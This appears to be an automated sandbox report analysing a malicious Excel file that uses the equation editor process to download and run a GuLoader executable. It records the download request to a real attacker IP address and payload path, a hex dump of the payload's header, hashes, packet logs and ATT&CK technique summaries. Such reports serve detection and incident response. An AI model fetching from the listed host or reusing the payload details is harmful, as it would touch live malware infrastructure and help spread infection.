Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	208896
Entropy (8bit):	4.14906794472717
Encrypted:	false
SSDEEP:	1536:tTEDegofhrRAnvzYFBWigYcgkOwijQkwY+EhBKDID:tQeZpR47YeigqVX+SK8
MD5:	8777020A37B6797241A489A707B9784B
SHA1:	A1ED1029B967295F9CE5E9D219F41DC6C7FC4D1A
SHA-256:	8A45D901CAB57A1B65C32AEA2452F56436DCF01C37BDF7875838E6054F395D90
SHA-512:	0A9D13CA582DD72B4CDCE8C91A5226AEB8C70AC7A73FA5F9775C6D03753BF7EC856371F55BF5F5E38F0A1D84E375C80916E5508F89D91E7100A82C4E544174D8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 27%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i......................*..............Rich....................PE..L......R.....................P......\|.............@..........................@..............................................$...(.......&%..................................................................0... ....................................text............................... ..`.data...............................@....rsrc...&%.......0..................@..@...I............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.9756425195797105
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	destinations.xlsx
File size:	348152
MD5:	a4bb01370caeb6363f6dc7923585481e
SHA1:	3eff08923d9b179edcc99fe52d95a46755eac939
SHA256:	c45eacade4845c8cf141724b92d6fd4401d30233b18b17e295d2d7a9a8944c40
SHA512:	0e361f54ff22f9d8ca6315ef7bd85734a55f982a4e7f1f021dadddbbf1a8802f8f68d17ada8a90faa4a351a282aaa915f92738d0eb2b968a6b947e1ded318570
SSDEEP:	6144:RJzS5Knw3ItVVVVVVVxVVVVVVVlVVVVVVVZjVVVVVVVB2o38Q1R7naaUi7uP72AW:7zS5Knw3IhJ3JVnKSuP/oiISQ
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2021 07:37:49.501374960 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.660331964 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.660433054 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.660953045 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.820924044 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.820979118 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.821048021 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.821048975 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.821074963 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.821079016 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.821101904 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.821149111 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.979698896 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979723930 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979737043 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979748011 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979764938 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979779005 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979790926 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979803085 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:49.979907036 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:49.979953051 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138530970 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138590097 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138629913 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138665915 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138715982 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138757944 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138773918 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138792038 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138798952 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138825893 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138828039 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138866901 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138905048 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138915062 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.138919115 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138958931 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.138993979 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139007092 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139008999 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139059067 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139065027 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139137983 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139183044 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139193058 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139209032 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139256954 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139271975 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139302969 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.139364004 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.139372110 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.142095089 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.297769070 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.297846079 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.297903061 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.297919035 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.297939062 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.297941923 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.297954082 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.297988892 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298016071 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298069000 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298116922 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298105955 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298135042 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298151970 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298152924 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298182964 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298187971 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298223019 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298259974 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298263073 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298269987 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298306942 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298319101 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298357010 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298397064 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298402071 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298410892 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298444033 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298453093 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298475981 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298492908 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298511982 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298522949 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298577070 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298578024 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298619986 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298649073 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298651934 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298666000 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298686028 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298702002 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298746109 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298774004 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298779964 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298780918 CEST	49167	80	192.168.2.22	192.3.121.153
Oct 14, 2021 07:37:50.298829079 CEST	80	49167	192.3.121.153	192.168.2.22
Oct 14, 2021 07:37:50.298877001 CEST	80	49167	192.3.121.153	192.168.2.22

HTTP Request Dependency Graph

192.3.121.153

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	192.3.121.153	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Oct 14, 2021 07:37:49.660953045 CEST	0	OUT	GET /00800800/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.121.153 Connection: Keep-Alive
Oct 14, 2021 07:37:49.820924044 CEST	1	IN	HTTP/1.1 200 OK Date: Thu, 14 Oct 2021 05:37:49 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31 Last-Modified: Wed, 13 Oct 2021 14:42:26 GMT ETag: "33000-5ce3cf88aac57" Accept-Ranges: bytes Content-Length: 208896 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d7 69 c6 c2 93 08 a8 91 93 08 a8 91 93 08 a8 91 10 14 a6 91 92 08 a8 91 dc 2a a1 91 9b 08 a8 91 a5 2e a5 91 92 08 a8 91 52 69 63 68 93 08 a8 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 82 f7 ea 52 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 e0 02 00 00 50 00 00 00 00 00 00 7c 13 00 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 ea 02 04 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 e0 02 00 28 00 00 00 00 10 03 00 26 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 00 20 00 00 00 00 10 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 d4 02 00 00 10 00 00 00 e0 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 ec 13 00 00 00 f0 02 00 00 10 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 26 25 00 00 00 10 03 00 00 30 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i*.RichPELRP\|@@$(&%0 .text `.data@.rsrc&%0@@IMSVBVM60.DLL

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2004 Parent PID: 596

General

Start time:	07:37:17
Start date:	14/10/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f8b0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: EQNEDT32.EXE PID: 2792 Parent PID: 596

General

Start time:	07:37:39
Start date:	14/10/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 684 Parent PID: 2792

General

Start time:	07:37:41
Start date:	14/10/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	208896 bytes
MD5 hash:	8777020A37B6797241A489A707B9784B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.671498542.0000000000290000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, Virustotal, Browse
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report destinations.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Exploits:

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2004 Parent PID: 596

General

Analysis Process: EQNEDT32.EXE PID: 2792 Parent PID: 596

General

Analysis Process: vbc.exe PID: 684 Parent PID: 2792

General

Disassembly

Code Analysis